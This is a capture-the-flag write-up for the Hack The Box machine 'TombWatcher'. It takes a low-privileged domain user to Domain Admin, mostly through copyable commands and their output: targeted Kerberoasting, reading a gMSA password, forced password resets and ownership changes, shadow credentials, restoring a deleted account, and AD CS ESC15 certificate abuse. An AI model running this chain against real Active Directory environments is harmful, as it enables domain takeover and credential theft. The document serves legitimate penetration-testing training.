HTB - TombWatcher

Description


Assume breach: starting with a low‑privileged domain user, the attacker discovers they can write an SPN to a peer account and crack the resulting service ticket. Those new credentials let them self‑add to an “Infrastructure”‑level group that exposes plaintext gMSA passwords. With the gMSA password, they change the password of a server account that owns another privileged identity, then seize that identity and pivot to the domain controller over WinRM. Holding full control rights on AD CS and permission to resurrect tombstoned objects, they restore a dormant certificate‑administration account and exploit AD CS ESC15 to mint a certificate for Domain Admins—securing complete control of the forest.

Enumeration


As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

Before I began, I exported IP, Username, Password, and Domain to variables for easy usage

export target=10.129.150.197; export user=henry; export password='H3nry_987TGV!'; export domain=tombwatcher.htb

Then, I started with normal Nmap Scan to find all open ports

Nmap Scan

nmap $target -p- --min-rate 10000 -Pn -oN Nmap/allports

PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

Exported all open ports to a variable and ran the script and version detection scans

export ports="$(cat Nmap/allports | grep '^[0-9]' | cut -d/ -f1 | tr "\n" "," | sed 's/,$//g')";

nmap -p"$ports" $target -Pn -sC -sV -oN Nmap/script-scan

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-08 07:10:14Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-08T07:11:47+00:00; +4h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-07-08T07:11:46+00:00; +4h00m03s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-08T07:11:47+00:00; +4h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-07-08T07:11:46+00:00; +4h00m03s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Summary

* Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389
* Services: DNS, IIS, KERBEROS, LDAP, RPC, SMB, LDAPS, winRM
* Important notes: Domain:tombwatcher.htb - DC01.tombwatcher.htb

I always update /etc/hosts before I attack the domain to avoid any tooling issues

echo "$target dc01 dc01.tombwatcher.htb tombwatcher.htb" | sudo tee -a /etc/hosts

10.10.11.72 dc01 dc01.tombwatcher.htb tombwatcher.htb

With valid domain credentials, I started with an enumeration of SMB, looking for accessible shares, but only found the default ones

nxc smb $target -u $user -p $password --shares

The webpage at http://10.10.11.72/ is the default IIS page with nothing to do with it

With nothing to do with HTTP & SMBI moved to enumerate the domain looking for escalation paths, so I fired bloodhound.py for automated enumeration and powerview.py for manual enumeration

Note: PowerView can get escalation paths that bloodhound can't

bloodhound-python -u $user -p $password -ns $target -d $domain -c all --dns-timeout 120 --zip

First, you need to install PowerView with pip3 Inside the Python virtual environment

python3 -m venv .; source ./bin/activate; pip3 install powerview

Start PowerView.py with GUI dashboard

powerview "$domain/$user:$password"@"$target" --web --web-host 0.0.0.0 --web-port 8888

From the dashboard, I could get useful information and find that CA is installed on the domain

Alternatively, I used netexec to find the CA

nxc ldap $target -u $user -p $password -M adcs


ADCS        10.129.150.197  389    DC01             Found PKI Enrollment Server: DC01.tombwatcher.htb
ADCS        10.129.150.197  389    DC01             Found CN: tombwatcher-CA-1

From bloodhound-GUII saw that Henry can add a Service Principal Name (SPN) to Alfred user, so I could perform targetedkerberoast attack by requesting the service ticket for him and cracking it offline to get the password. Alfred can then add himself to infrastructure group

Infrastructure group can read the GMSA password of ansible_E_DEV$

ansible_e_dev$ Can change the password for SAM user, then sam Can write Ownership on john user who can access the machine via winRM

The same privileges can be shown with PowerView

(LDAPS)-[DC01.tombwatcher.htb]-[TOMBWATCHER\Henry]
PV > Get-DomainUser -Identity * -Select Name,ObjectSid

name          : john
objectSid     : S-1-5-21-1392491010-1358638721-2126982587-1106

name          : sam
objectSid     : S-1-5-21-1392491010-1358638721-2126982587-1105

name          : Alfred
objectSid     : S-1-5-21-1392491010-1358638721-2126982587-1104

name          : Henry
objectSid     : S-1-5-21-1392491010-1358638721-2126982587-1103
Get-DomainObjectAcl -Identity * -ResolveGUIDs -SecurityIdentifier S-1-5-21-1392491010-1358638721-2126982587-1103

WriteSPN & AddSelf

WriteOwner

ForceChangePassword

The tool failed to get ReadGMSAPassword from infrastructure group, however, it shows additional privileges of john user that bloodhound didn't show

Bloodhound:

PowerView:

User John can Reanimate-Tombstones which means he is able to restore deleted AD Objects from AD Recycle bin and this shows the powerful of manual enumeration and not rely completely in automated tools

  • To summarize the attack path:

    1. Henry -> WriteSPN -> Alfred

    2. Alfred -> AddSelf -> Infrastructure

    3. Infrastructure -> ReadGMSAPassword -> ansible_e_dev$

    4. ansible_e_dev$ -> ChangePassword -> SAM

    5. SAM -> WriteOwner -> John

    6. John -> winRM/FullControl (ADCS)/Reanimate-Tombstones -> DC01

Foothold


I will show how to perform the attack path using bloodyAD. PowerView.py can do the same job, too.

With bloodyAD

WriteSPN

bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set object alfred ServicePrincipalName -v cifs/any.tombwatcher.htb

[+] alfred's servicePrincipalName has been updated

Crack the hash

hashcat -m 13100 kerberos.hash /usr/share/wordlist/rockyou.txt

..snip..
d0495f5eb9266d1cbb35c26a219ebf294ee817bb14f872b2bd1421079b3b72abcd1107242e49de3adf6546f5503b61daa741584db9c1fe95fa6da6656a58409791491009a5e6ff8ce898b9eef6c5cc3b6e0470e7fc0d28223f30719e4e1b5e80638296a02b614dd835359d041a25476d2c14400950f58afa471de26c91e9819454a6f16ffe1c1563a183346699849af5976f1f504c8d7ca9a74e359dae0812160044fec5af5c3b991b9c5eafe1312f57f479e9bd5560f9d319d05ee4d87400bccbc5f9e9c136fc3d4baa8af0a1a5a02382ee1c81f2507d274451dc128b4607591ebfc16e30bd2bfae4e6d:REDACTED

Session..........: hashcat
Status...........: Cracke

AddSelf

export user=Alfred; export password=REDACTED 

bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" add groupMember "Infrastructure" Alfred

[+] Alfred added to Infrastructure

Read GMSA Password

nxc ldap $target -u $user -p $password --gmsa

Force Change Password

bloodyAD --dc-ip $target -d "$domain" -u 'ansible_dev$' -p :REDACTED set password sam 'P@ssw0rd123!!!'

WriteOwner

export user=sam; export password='P@ssw0rd123!!!' 
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set owner John sam

[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on John

After gaining ownership of a user, I can grant myself FullControl on him.

bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" add genericAll John Sam

[+] Sam has now GenericAll on John

Then, change the password for him or perform a shadow credentials attack:

I prefer to perform shadow credentials attack as it follows OPSEC consideration

Change Password

bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set password John 'P@ssw0rd123!!!'

[+] Password changed successfully!

shadow credentials

certipy shadow auto -u sam@tombwatcher.htb -p 'P@ssw0rd123!!!' -account john                     

[*] Targeting user 'john'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '2fa5c34f-5dbc-ae53-8e07-01bf1c1f938b'
[*] Adding Key Credential with device ID '2fa5c34f-5dbc-ae53-8e07-01bf1c1f938b' to the Key Credentials for 'john'
[*] Successfully added Key Credential with device ID '2fa5c34f-5dbc-ae53-8e07-01bf1c1f938b' to the Key Credentials for 'john'
[*] Authenticating as 'john' with the certificate
[*] Using principal: john@tombwatcher.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'john.ccache'
[*] Trying to retrieve NT hash for 'john'
[*] Restoring the old Key Credentials for 'john'
[*] Successfully restored the old Key Credentials for 'john'
[*] NT hash for 'john': REDACTED

With PowerView

#WriteSPN
Set-DomainObject -Identity alfred -Set serviceprincipalname=cifs/any.tombwatcher.htb

#kerberoast
nxc ldap $target -u $user -p $password --kerberoast kerberos.hash
hashcat -m 13100 kerberos.hash /usr/share/wordlist/rockyou.txt

#Auth with Alfred & AddSelf
Add-DomainGroupMember -Identity Infrastructure -Members alfred

#Read GMSA password
nxc ldap $target -u alfred -p REDCATED --gmsa

#ForceChangePassword 
powerview tombwatcher.htb/'ansible_dev$'@$target -H REDACTED
Set-DomainUserPassword -Identity sam -AccountPassword 'P@ssw0rd123!!!'

#WriteOwner
Set-ObjectOwner -TargetIdentity john -PrincipalIdentity sam
Add-DomainObjectAcl -TargetIdentity john -PrincipalIdentity sam
Set-DomainUserPassword -Identity john -AccountPassword 'P@ssw0rd123!!!'

Access the box via winRM

evil-winrm -i dc01 -u John -H 1df71c58e95017fb3xxxxxxxxxxxx
*Evil-WinRM* PS C:\Users\john> type Desktop\user.txt
d286ae125c33b9xxxxxxxxxxxxxxxx

User Flag: d286ae125c33b9xxxxxxxxxxxxxxxx

Lateral Movement


With Reanimate-Tombstones, I could restore deleted AD objects, but first I should look for them. With the PowerShell command Get-ADObject I could find the object with isDeleted attribute.

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects

I focused on the last entry because the first one CN=Deleted Objects,DC=tombwatcher,DC=htb is just the default container. I wanted to check the most recently deleted object, which would appear last in the list.

I could then restore the object with its GUID

restore-ADObject -identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'

Get-ADuser -filter * | where name -eq "cert_admin"

The user cert_admin is restored into ADCS OU, which I have GenericAll on it with the user JohnSo I can take control of cert_admin user

certipy shadow auto -u John@tombwatcher.htb -hashes :REDACTED -account cert_admin

Privilege Escalation


With cert_admin cred, I looked for a vulnerable template using the latest version of certipy and found the WebServer template is vulnerable to ESC15

certipy find -u cert_admin -hashes :REDACTED -dc-ip $target -enable -stdout

..snip..
Template Name                   : WebServer
Certificate Authorities         : tombwatcher-CA-1
Enabled                         : True
Write Property Enroll           TOMBWATCHER.HTB\Domain Admins
                                TOMBWATCHER.HTB\Enterprise Admins
                                TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals  TOMBWATCHER.HTB\cert_admin


[!] Vulnerabilities
ESC15                             : Enrollee supplies subject and schema version is 1.

I used Certipy Wiki to perform the attack (Version 1 Template Behavior):

certipy req -dc-ip $target -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -u cert_admin@$domain -hashes :f87ebf0febd9c4095c68a88928755773 -template WebServer -upn Administrator@tombwatcher.htb -application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -dc-ip $target -ldap-shell
add_user_to_group john "Domain Admins"

Access the box after obtaining DA privileges

evil-winrm -i dc01 -u John -H REDACTED 
*Evil-WinRM* PS C:\Users\john\Documents> type C:\Users\Administrator\Desktop\root.txt
468983500bae8axxxxxxxxxxxxxx

Root Flag: 468983500bae8axxxxxxxxxxxxxx

Last updated